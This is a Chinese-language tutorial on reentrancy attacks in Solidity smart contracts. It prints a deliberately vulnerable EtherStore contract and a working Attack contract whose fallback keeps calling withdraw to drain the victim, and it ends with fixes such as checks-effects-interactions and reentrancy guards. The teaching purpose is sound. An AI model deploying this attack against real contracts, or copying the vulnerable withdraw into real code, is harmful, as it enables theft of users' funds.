什么是可重入攻击?
我们使用合约的过程中,经常会遇到这种情况,智能合约能够调用外部的合约;这些外部合约又可以回调到调用他们的智能合约;在这种情况下,我们说智能合约被重新输入,这种情况被称为可重入性。
正常使用的时候,是没有任何问题;如果攻击者,将攻击代码,插入到合约执行流程中,使得合约执行正常逻辑之外的攻击代码,就会给用户带来损失。
当用户使用用户账户调用合约B时,属于正常调用,不会有问题;
如果攻击者创建一个attack合约,去调用B时,就可以发生类似如下的过程;B又回调到attack
合约,然后attack又再次调用到合约B;
发生这种情况的关键是以下两点:
1.通过转账调用合约
gas().call.vale()():在调用时会发送所有的 gas,当发送失败时会返回布尔值 false,不能有效的防止重入攻击。
transfer()和send():只会发送 2300 gas 进行调用,当发送失败时会通过 throw 来进行回滚操作,从而防止了重入攻击。
2.声明一个可攻击的fallback函数
回退函数 (fallback function):回退函数是每个合约中有且仅有一个没有名字的函数,并且该函数无参数,无返回值。
function() public payable(){}
回退函数在以下几种情况中被执行:
- 调用合约时没有匹配到调用的函数;
- 调用合约时没有传数据;
- fallback 函数必被标记为 payable时,智能合约收到以太币;
合约分析
首先部署一个合约——EtherStore,你可以存取ETH。但是这个合约是容易受到重入攻击。
这里重点分析withdraw函数,首先判断发送者的balance是否大于0,如果大于0,则将balance发送给sender,注意到这里它用来发送ether的函数是call.value,发送完成后,才在下面更新了sender的balances,这里就是可重入攻击的关键所在了;
当发送者是一个合约时,因为该函数发送ether后,会调用发送者的fallback函数,如果我们在fallback中再继续调用EtherStore的withdraw,则程序会进入循环,不断给我们发送ether,不会执行balances[msg.sender] = 0;无法更新余额,直到EtherStore的余额为0。
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
攻击合约如下,我们在攻击合约里的fallback函数里,继续调用EtherStore的withdraw;然后调用attack发动攻击;
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
攻击流程
1、部署EtherStore合约
2、账户A调用EtherStore.deposit(),存入3eth;账户B调用EtherStore.deposit(),存入2eth;
3、部署attack合约
4、账户C调用Attack.attck().完成攻击;
预防与修复
使用其他的转账函数:
如果用户的目的只是向目标地址转账,那么一定要使用transfer函数。
checks-effect-interaction
编写合约函数时, 先检查,然后生效,最后才是交互。
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0); //checks
balances[msg.sender] = 0; //effect
(bool sent, ) = msg.sender.call{value: bal}(""); //interaction
require(sent, "Failed to send Ether");
}
使用互斥锁
添加一个在代码执行过程中锁定合约的状态变量以防止重入攻击。
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
也可以直接使用OpenZeppelin提供的重入锁。
openzeppelin-contracts/ReentrancyGuard.sol at master · OpenZeppelin/openzeppelin-contracts · GitHub